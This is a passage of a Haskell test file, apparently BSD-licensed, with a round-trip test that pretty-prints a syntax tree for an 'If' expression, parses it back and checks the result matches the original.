testCase "If:" $ genSyntaxPrettyTest (EIf (ECon (Name "True")) (EVar (Name "xs")) (EVar (Name "x"))) atomP ] ] genSyntaxPrettyTest :: (Show a, Eq a, PPrint a) => a -> Parser a -> Assertion genSyntaxPrettyTest x px = case runIndent "" $ P.runParserT px () "" (render $ pprint x) of Left e -> print (pprint x) Right x' -> x @=? x'
bsd-3-clause